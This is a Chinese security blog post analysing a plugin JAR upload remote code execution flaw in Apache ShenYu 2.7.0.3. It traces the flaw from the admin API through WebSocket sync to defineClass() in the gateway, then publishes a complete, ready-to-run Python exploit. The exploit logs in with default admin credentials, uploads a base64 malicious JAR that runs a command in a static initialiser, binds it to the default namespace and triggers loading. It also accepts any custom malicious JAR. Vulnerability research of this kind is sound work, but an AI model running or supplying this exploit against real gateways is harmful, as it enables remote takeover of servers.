乐于分享
好东西不私藏

Apache ShenYu 插件上传RCE

Apache ShenYu 插件上传RCE

    这个系统用我的Agent审计出来的结果其实只有一个jar包上传,然后我之前也发到过类似jar包上传然后类加载的洞,(可以翻一下前边的文章)然后出于敏感就去找,类加载的方法,方法找着了但是没找到触发点,然后问了AI才知道有这么个双亲委派的机制!我让AI写了个漏洞分析,然后我自己跟着捋了两天才捋完。这个洞让我对Java类加载的双亲委派有了具象化的理解。

1. 漏洞概述

    Apache ShenYu 网关提供插件热加载功能,允许管理员通过 Admin API 上传 base64 编码的 JAR 文件作为自定义插件。该 JAR 经由 WebSocket 同步至网关后,由自定义 ClassLoader 直接调用 defineClass() 加载其中的任意字节码,并将实现了 ShenyuPlugin 接口的类自动实例化为 Spring Bean。


2. 攻击链总览

攻击者  │  ├─[1] GET /platform/login?userName=admin&password=123456  │     获取 JWT Token  │  ├─[2] POST /plugin-template  (file = base64 恶意 JAR)  │     创建插件模板,JAR 存入数据库  │     ├─ PluginController.java:128          入口,@RequiresPermissions("system:plugin:add")  │     ├─ PluginServiceImpl.java:310         create()  │     ├─ PluginServiceImpl.java:313         checkFile() — 仅验证包含 ShenyuPlugin 子类  │     └─ PluginServiceImpl.java:316         pluginMapper.insertSelective() — JAR 写入数据库  │  ├─[3] POST /namespace-plugin/{namespaceId}/{pluginId}  │     将插件绑定到命名空间  │     └─ NamespacePluginController.java:142  │  ├─[4] POST /namespace-plugin/syncPluginAll  │     触发全量数据同步,Admin 通过 WebSocket 将 PluginData(含 pluginJar)推送至网关  │     └─ NamespacePluginController.java:221  │  └─[5] 网关自动加载(以下代码在网关 JVM 中执行)        ├─ ShenyuWebHandler.java:256          检测 pluginData.getPluginJar() 非空        ├─ ShenyuWebHandler.java:258          调用 shenyuLoaderService.loadExtOrUploadPlugins()        ├─ ShenyuLoaderService.java:105       Base64.getDecoder().decode() + PluginJarParser.parseJar()        ├─ ShenyuLoaderService.java:107       创建 ShenyuPluginClassLoader        ├─ ShenyuLoaderService.java:108       调用 loadUploadedJarPlugins()        ├─ ShenyuPluginClassLoader.java:91    遍历 JAR 中的类,调用 getOrCreateSpringBean()        ├─ ShenyuPluginClassLoader.java:161   Class.forName(className, false, this) → 触发类加载        │     ↓ JVM ClassLoader 双亲委派机制        │     父 ClassLoader 找不到该类 → 自动回调 findClass()        ├─ ShenyuPluginClassLoader.java:132   ★ defineClass(name, bytes, 0, bytes.length) — 任意字节码加载        ├─ ShenyuPluginClassLoader.java:161   Class.forName() → 触发 static{} 初始化块 → RCE        └─ ShenyuPluginClassLoader.java:176   注册为 Spring Bean → 实例化 → 构造函数执行

3. 代码分析

3.1 入口:插件上传

    入口在 /plugin-template,创建插件模板,JAR 存入数据库。

PluginController.java:128

@RestApi("/plugin-template")publicclassPluginControllerimplementsPagedController<PluginQueryConditionPluginVO> {privatefinalPluginServicepluginService;publicPluginController(finalPluginServicepluginService) {this.pluginService=pluginService;    }@PostMapping@RequiresPermissions("system:plugin:add")publicShenyuAdminResultcreatePlugin(@Valid@ModelAttributefinalPluginDTOpluginDTO) {returnShenyuAdminResult.success(pluginService.createOrUpdate(pluginDTO));    }}

    PluginDTO 中的 file 字段接收 base64 编码的 JAR:

publicclassPluginDTOimplementsSerializable {@NotBlankprivateStringname;@NotBlankprivateStringrole;@NotNull@Min(0)privateIntegersort;@NotNullprivateBooleanenabled;privateStringfile;   // ← base64 编码的恶意 JAR}

3.2 checkFile() 校验形同虚设

    createOrUpdate 判断 id 为空则走 create

publicStringcreateOrUpdate(finalPluginDTOpluginDTO) {returnStringUtils.isBlank(pluginDTO.getId()) ?this.create(pluginDTO) : this.update(pluginDTO);}

    create 方法对 JAR 进行 base64 解码后调用 checkFile() 校验,校验通过后将 JAR 写入数据库。

PluginServiceImpl.java:310

privateStringcreate(finalPluginDTOpluginDTO) {Assert.isNull(pluginMapper.nameExisted(pluginDTO.getName()),"create"+AdminConstants.PLUGIN_NAME_IS_EXIST+pluginDTO.getName());if (Objects.nonNull(pluginDTO.getFile())) {Assert.isTrue(checkFile(Base64.getDecoder().decode(pluginDTO.getFile())),AdminConstants.THE_PLUGIN_JAR_FILE_IS_NOT_CORRECT_OR_EXCEEDS_16_MB);    }PluginDOpluginDO=PluginDO.buildPluginDO(pluginDTO);if (pluginMapper.insertSelective(pluginDO>0) {pluginEventPublisher.onCreated(pluginDO);    }returnShenyuResultMessage.CREATE_SUCCESS;}

    checkFile() 仅检查文件大小和依赖树中是否包含 ShenyuPlugin 相关接口,对 Runtime.exec()ProcessBuilderFileWriter、反射调用、网络连接等危险操作无任何检测。攻击者只需在恶意类中 implements ShenyuPlugin 即可通过全部检查。

PluginServiceImpl.java:371

privatebooleancheckFile(finalbyte[] file) {try {if (file.length>16*Constants.BYTES_PER_MB) {returnfalse;        }Set<String>dependencyTree=JarDependencyUtils.getDependencyTree(file);returndependencyTree.contains(AdminConstants.PLUGIN_ABSTRACT_PATH)||dependencyTree.contains(AdminConstants.PLUGIN_INTERFACE_PATH)||dependencyTree.contains(AdminConstants.LOGGING_PLUGIN_ABSTRACT_PATH);    } catch (Exceptione) {thrownewShenyuException(e);    }}

3.3 绑定命名空间

    插件上传后仅存在于数据库中,需要绑定到命名空间才能被网关加载。

NamespacePluginController.java:142

@PostMapping("/{namespaceId}/{pluginId}")@RequiresPermissions("system:plugin:edit")publicShenyuAdminResultgenerateNamespacePlugin(@PathVariable("namespaceId"finalStringnamespaceId,@PathVariable("pluginId"finalStringpluginId) {returnShenyuAdminResult.success(namespacePluginService.create(namespaceIdpluginId));}

3.4 触发同步

    通过 syncPluginAll 接口触发全量同步,Admin 通过 WebSocket 将 PluginData(含 pluginJar 字段)推送至网关。

NamespacePluginController.java:221

@PostMapping("/syncPluginAll")@RequiresPermissions("system:plugin:modify")publicShenyuAdminResultsyncPluginAll(@Valid@RequestBodyfinalNamespaceSyncDTOnamespaceSyncDTO) {booleansuccess=syncDataService.syncAllByNamespaceId(DataEventTypeEnum.REFRESHnamespaceSyncDTO.getNamespaceId());if (success) {returnShenyuAdminResult.success(ShenyuResultMessage.SYNC_SUCCESS);    } else {returnShenyuAdminResult.error(ShenyuResultMessage.SYNC_FAIL);    }}

3.5 网关加载 JAR → RCE

    网关收到 WebSocket 推送后,ShenyuWebHandler.onPluginEnabled() 检查 pluginJar 是否非空,然后调用 loadExtOrUploadPlugins 加载插件。

ShenyuWebHandler.java:254

privatesynchronizedvoidonPluginEnabled(finalPluginDatapluginData) {LOG.info("shenyu use plugin:[{}]"pluginData.getName());if (StringUtils.isNoneBlank(pluginData.getPluginJar())) {LOG.info("shenyu start load plugin [{}] from upload plugin jar"pluginData.getName());shenyuLoaderService.loadExtOrUploadPlugins(pluginData);  // ← 触发加载    }// ...}

    ShenyuLoaderService.java:93 — 将 JAR 进行 base64 解码,解析后创建 ShenyuPluginClassLoader,然后调用 loadUploadedJarPlugins() 加载插件:

publicvoidloadExtOrUploadPlugins(finalPluginDatauploadedJarResource) {try {List<ShenyuLoaderResult>plugins=newArrayList<>();ShenyuPluginClassLoaderHoldersingleton=ShenyuPluginClassLoaderHolder.getSingleton();// ...PluginJarParser.PluginJarpluginJar=PluginJarParser.parseJar(Base64.getDecoder().decode(uploadedJarResource.getPluginJar()));  // base64 解码ShenyuPluginClassLoaderuploadPluginClassLoader=singleton.createPluginClassLoader(pluginJar);                     // 创建类加载器plugins.addAll(uploadPluginClassLoader.loadUploadedJarPlugins());     // 加载插件loaderPlugins(plugins);    } catch (Exceptione) {LOG.error("shenyu plugins load has error "e);    }}

3.6 defineClass() 加载任意字节码(核心漏洞点)

    loadUploadedJarPlugins() 遍历 JAR 中的所有类,对每个类调用 getOrCreateSpringBean()

ShenyuPluginClassLoader.java:85

publicList<ShenyuLoaderResult>loadUploadedJarPlugins() {List<ShenyuLoaderResult>results=newArrayList<>();Set<String>names=pluginJar.getClazzMap().keySet();names.forEach(className-> {Objectinstance;try {instance=getOrCreateSpringBean(className);  // ← 对每个类触发加载if (Objects.nonNull(instance)) {results.add(buildResult(instance));            }        } catch (ClassNotFoundException|IllegalAccessException|InstantiationExceptione) {LOG.warn("Registering upload-Jar-plugins succeeds spring bean fails:{}"classNamee);        }    });returnresults;}

    getOrCreateSpringBean() 内部调用 Class.forName(className, false, this) 进行类加载。第三个参数 this 指定使用当前 ShenyuPluginClassLoader 作为类加载器。

ShenyuPluginClassLoader.java:149

private<T>TgetOrCreateSpringBean(finalStringclassName) {// ...Class<?>clazz=Class.forName(classNamefalsethis);  // ★ 触发类加载booleannext=ShenyuPlugin.class.isAssignableFrom(clazz)||PluginDataHandler.class.isAssignableFrom(clazz);if (!next) {Annotation[] annotations=clazz.getAnnotations();next=Arrays.stream(annotations).anyMatch(e->e.annotationType().equals(Component.class)||e.annotationType().equals(Service.class));    }if (next) {GenericBeanDefinitionbeanDefinition=newGenericBeanDefinition();beanDefinition.setBeanClassName(className);// ★ 注册 + 实例化 → 触发构造函数StringbeanName=SpringBeanUtils.getInstance().registerBean(beanDefinitionthis);inst=SpringBeanUtils.getInstance().getBeanByClassName(beanName);    }}

关键问题:findClass() 从哪里被调用?

    代码中没有任何地方显式调用 findClass(),它是 JVM ClassLoader 双亲委派机制的自动回调。调用链如下:

Class.forName(className, false, this)              // ShenyuPluginClassLoader.java:161    ↓ JVM 内部调用ClassLoader.loadClass(name)                        // java.lang.ClassLoader(JDK 内置)    ↓ 先委派给父 ClassLoader 尝试加载Parent ClassLoader.loadClass(name)                 // 父加载器找不到 org.apache.shenyu.poc.CalcPlugin    ↓ 父加载器抛出 ClassNotFoundExceptionShenyuPluginClassLoader.findClass(name)            // ★ JVM 自动回调子类的 findClass()    ↓ 从 pluginJar.clazzMap 取出字节码defineClass(name, bytes, 0, bytes.length)          // ShenyuPluginClassLoader.java:132 — RCE

findClass() 是 java.lang.ClassLoader 的标准契约:子类 override findClass() 来定义自己的加载逻辑,当 loadClass() 的双亲委派失败后,JVM 自动回调该方法。

ShenyuPluginClassLoader.java:118

@OverrideprotectedClass<?>findClass(finalStringnamethrowsClassNotFoundException {if (ability(name)) {returnthis.getParent().loadClass(name);    }Class<?>clazz=classCache.get(name);if (Objects.nonNull(clazz)) {returnclazz;    }synchronized (this) {clazz=classCache.get(name);if (Objects.isNull(clazz)) {if (pluginJar.getClazzMap().containsKey(name&&!checkExistence(name)) {byte[] bytes=pluginJar.getClazzMap().get(name);clazz=defineClass(namebytes0bytes.length);  // ★ 直接加载任意字节码,无沙箱classCache.put(nameclazz);returnclazz;            }        }    }thrownewClassNotFoundException(String.format("Class name is %s not found."name));}

    JAR 中的 .class 文件直接传入 JVM defineClass()无 SecurityManager、无字节码白名单、无沙箱限制。类加载完成后 static {} 初始化块立即执行,构造函数在 registerBean() 时执行——两个时机都可触发任意代码。

POC

弹calc的

#!/usr/bin/envpython3"""ApacheShenYu2.7.0.3-PluginJARUploadRCEExploit=====================================================漏洞Admin插件上传接口无字节码校验,通过defineClass() 加载任意类并实例化,恶意static{} 初始化块在网关JVM中执行,实现远程代码执行。攻击链LoginUploadJARBindNamespaceSyncdefineClassRCE用法:#使用内置payload(弹出计算器)python3exploit.py-thttp://target:9095#使用自定义JARpython3exploit.py-thttp://target:9095 -j evil-plugin.jar#指定凭据python3exploit.py-thttp://target:9095 -u admin -p 123456"""importrequestsimportbase64importargparseimportsysimportjsonimporttimeimportrandomimportstring#============================================================#内置PayloadCalcPlugin.java (已编译)##static {#Runtime.getRuntime().exec("calc");#   }##实现ShenyuPlugin接口,通过checkFile() 校验#类加载时static{} 触发,弹出计算器 (calc.exe)#============================================================BUILTIN_JAR_B64="UEsDBBQAAAAIAAliqFyyfwLuGwAAABkAAAAUAAAATUVUQS1JTkYvTUFOSUZFU1QuTUbzTczLTEstLtENSy0qzszPs1Iw1DPg5eLlAgBQSwMEFAAAAAgA/WGoXEXbLhZAAgAApAQAACYAAABvcmcvYXBhY2hlL3NoZW55dS9wb2MvQ2FsY1BsdWdpbi5jbGFzc8VTyW4TQRB97SXjZezEzgKBBBK22Elwf4BNLhZICIeEGCXndruxO7FnrPZMEo58Ax/BhQO5sB34AH6Ev0DUDCPbGCSWCxqpeurpVdWrrq7PXz9+AnAPlQxiiFtI2EhihmHuWJwK3hNOh++1jpX0GGZq2tHeDkO8VD7MIoW0hYyNLGyGims6XAyE7Co+7Crnuc8HPb+jHQI1b4bIfgjUu0I7DJY6V9L3FMOTUiMIHg6MdjrPjOirM9ec8DPV4kNlTpXhzfA4Uq3757JLilS13DBKSM81XLpG8YHf6mkqa/iu67jVFPIMGSl68nvJDOZQsFC0MY8FhsK4tQPf8XSfRGQ6yhs5i6Vy4ycOZV1iSARZg3yXbSzjCgFBHwwbpYmIphe0Up1Msm9cqYbDqoUVhvkxTh2pgaddx8I1hrVf3KIreX3UiYU1hvIf3zXJq7tt6mi2oR312O+3lHkqWj1CXvzDrTf+bsi/mRJDuqk7jvB8Q3pe/m89tYlpHbq6Xd0hhSl6FnumrUz46B8yJB1S1mZY+OGJRAMnfk32oiXJNT0hT3bFILrwTNP1jVQPdODMjkdaCdJgHau0fwzXaRmTdNIOkl0nb5VOFqCb78Au6IfhBtmZEEyRzeImhQbUtWCFA3R76wOsGN5MsYu4RTaG2+TdwUZUYCUqkCjEv7yeilgiW0I5Yl6NmPFibjr1MknZHGmuh70A+feYLS6+xaWjV0g8ugixNGxKFAtj86Fcm7AcfXlskWch1rCIQeTtUO3db1BLAQIUABQAAAAIAAliqFyyfwLuGwAAABkAAAAUAAAAAAAAAAAAAACAAQAAAABNRVRBLUlORi9NQU5JRkVTVC5NRlBLAQIUABQAAAAIAP1hqFxF2y4WQAIAAKQEAAAmAAAAAAAAAAAAAAC2gU0AAABvcmcvYXBhY2hlL3NoZW55dS9wb2MvQ2FsY1BsdWdpbi5jbGFzc1BLBQYAAAAAAgACAJYAAADRAgAAAAA="#ShenYu默认命名空间IDDEFAULT_NS="649330b6-c2d7-4edc-be8e-8a54df9eb385"BANNER=r"""_______________/____|||_\/__|__|\__\||__________|/ (__|_||___/|__|/_\'_ \| | | | |_|_\\___|___||||__/||||_|||_|\___|_||_|\__|PluginJARUploadRCE__/|ApacheShenYu2.7.0.3|___/"""deflog(levelmsg):colors= {"info""\033[94m[*]""ok""\033[92m[+]""err""\033[91m[-]""rce""\033[93m[!]"}print(f"{colors.get(level, '[*]')} {msg}\033[0m")deflogin(urluserpwd):"""Step 1: 登录获取 JWT Token"""log("info"f"Logging in as {user}...")try:r=requests.get(f"{url}/platform/login",params={"userName"user"password"pwd},timeout=10,        )data=r.json()ifdata.get("code"!=200:log("err"f"Login failed: {data.get('message')}")returnNonetoken=data["data"]["token"]log("ok"f"Authenticated — token: {token[:40]}...")returntokenexceptExceptionase:log("err"f"Login error: {e}")returnNonedefget_jar_payload(jar_path):"""读取自定义 JAR 或使用内置 payload"""ifjar_path:log("info"f"Loading custom JAR: {jar_path}")withopen(jar_path"rb"asf:raw=f.read()b64=base64.b64encode(raw).decode()else:log("info""Using built-in payload (pops calc.exe)")b64=BUILTIN_JAR_B64log("ok"f"Payload size: {len(b64)} bytes (base64)")returnb64defupload_plugin(urltokenjar_b64plugin_name):"""Step 2: 上传恶意插件 JAR"""log("info"f"Uploading plugin '{plugin_name}'...")h= {"X-Access-Token"token}r=requests.post(f"{url}/plugin-template",headers=h,data={"name"plugin_name,"role""Test","sort"999,"enabled"True,"file"jar_b64,        },timeout=15,    )data=r.json()ifdata.get("code"!=200:log("err"f"Upload failed: {data.get('message')}")returnFalselog("ok"f"Plugin created: {data['message']}")returnTruedeffind_plugin_id(urltokenplugin_name):"""Step 3: 查找上传插件的 ID"""h= {"X-Access-Token"token}r=requests.get(f"{url}/plugin-template/all"headers=htimeout=10)forpinr.json().get("data", []):ifp.get("name"==plugin_name:pid=p["id"]log("ok"f"Plugin ID: {pid}")returnpidlog("err""Plugin not found after upload")returnNonedefbind_namespace(urltokenns_idplugin_id):"""Step 4: 绑定插件到命名空间"""log("info"f"Bindingnamespace {ns_id[:12]}... → plugin {plugin_id}")h= {"X-Access-Token"token}r=requests.post(f"{url}/namespace-plugin/{ns_id}/{plugin_id}",headers=h,json={},timeout=10,    )data=r.json()ifdata.get("code"!=200:log("err"f"Bind failed: {data.get('message')}")returnFalselog("ok""Namespace bindcomplete")returnTruedeftrigger_sync(urltokenns_id):"""Step 5: 触发全量同步 → 网关加载 JAR → RCE"""log("info""Triggering plugin sync → Gateway will load JAR...")h= {"X-Access-Token"token}r=requests.post(f"{url}/namespace-plugin/syncPluginAll",headers=h,json={"namespaceId"ns_id},timeout=10,    )data=r.json()ifdata.get("code"!=200:log("err"f"Sync failed: {data.get('message')}")returnFalselog("ok"f"Sync success — {data['message']}")returnTruedefverify(gateway_urlplugin_name):"""验证插件是否已在网关加载"""log("info""Verifying plugin loaded on gateway...")time.sleep(3)try:r=requests.get(f"{gateway_url}/actuator/plugins"timeout=5)body=r.textifplugin_nameinbodyor"Evil"inbodyor"Sniffer"inbody:log("ok""Plugin confirmed in gateway plugin chain!")returnTrueelse:log("info""Plugin not yet visible in actuator (may still be loading)")returnFalseexceptException:log("info""Gateway actuator not reachable (normal if different host)")returnFalsedefexploit(args):print(BANNER)admin_url=args.target.rstrip("/")gateway_url=args.gateway.rstrip("/"ifargs.gatewayelseadmin_url.replace("9095""9195")ns_id=args.namespaceorDEFAULT_NSplugin_name=args.nameor ("evilPlugin_"+"".join(random.choices(string.ascii_lowercasek=4)))#Step1Logintoken=login(admin_urlargs.userargs.password)ifnottoken:sys.exit(1)#Step2Preparepayloadjar_b64=get_jar_payload(args.jar)#Step3Uploadifnotupload_plugin(admin_urltokenjar_b64plugin_name):sys.exit(1)#Step4FindpluginIDplugin_id=find_plugin_id(admin_urltokenplugin_name)ifnotplugin_id:sys.exit(1)#Step5Bindnamespaceifnotbind_namespace(admin_urltokenns_idplugin_id):sys.exit(1)#Step6TriggersyncRCEifnottrigger_sync(admin_urltokenns_id):sys.exit(1)#Verifyprint()log("rce""RCE payload delivered!")log("rce"f"calc.exe should have been launched on the gateway host")log("rce"f"Or verify via: curl {gateway_url}/actuator/plugins | grep {plugin_name}")print()verify(gateway_urlplugin_name)#Printsummaryprint()print("="*60)log("ok""Attack chain summary:")print(f"     Admin   : {admin_url}")print(f"     Gateway : {gateway_url}")print(f"     Plugin  : {plugin_name} (ID: {plugin_id})")print(f"     Method  : defineClass() → static{{}} → RCE")print("="*60)defmain():parser=argparse.ArgumentParser(description="Apache ShenYu 2.7.0.3 — Plugin JAR Upload RCE",formatter_class=argparse.RawDescriptionHelpFormatter,epilog="""examples:%(prog)s-thttp://target:9095%(prog)s-thttp://target:9095 -j custom-evil.jar%(prog)s-thttp://target:9095 -u admin -p 123456 -g http://target:9195""",    )parser.add_argument("-t""--target"required=Truehelp="Admin URL (e.g. http://target:9095)")parser.add_argument("-g""--gateway"help="Gateway URL (default: replace 9095→9195)")parser.add_argument("-j""--jar"help="Custom malicious JAR path (default: built-in payload)")parser.add_argument("-u""--user"default="admin"help="Admin username (default: admin)")parser.add_argument("-p""--password"default="123456"help="Admin password (default: 123456)")parser.add_argument("-n""--namespace"help=f"Namespace ID (default: {DEFAULT_NS})")parser.add_argument("--name"help="Plugin name (default: random)")args=parser.parse_args()exploit(args)if__name__=="__main__":main()

效果如下:

写到最后的:

    最近在找工作,投了很多的安研和白盒漏洞挖掘,再一次尝试走研究的路,有了一两个面试机会,但是目前都没有回音,不知道我这个菜鸡最终能不能走上那条路。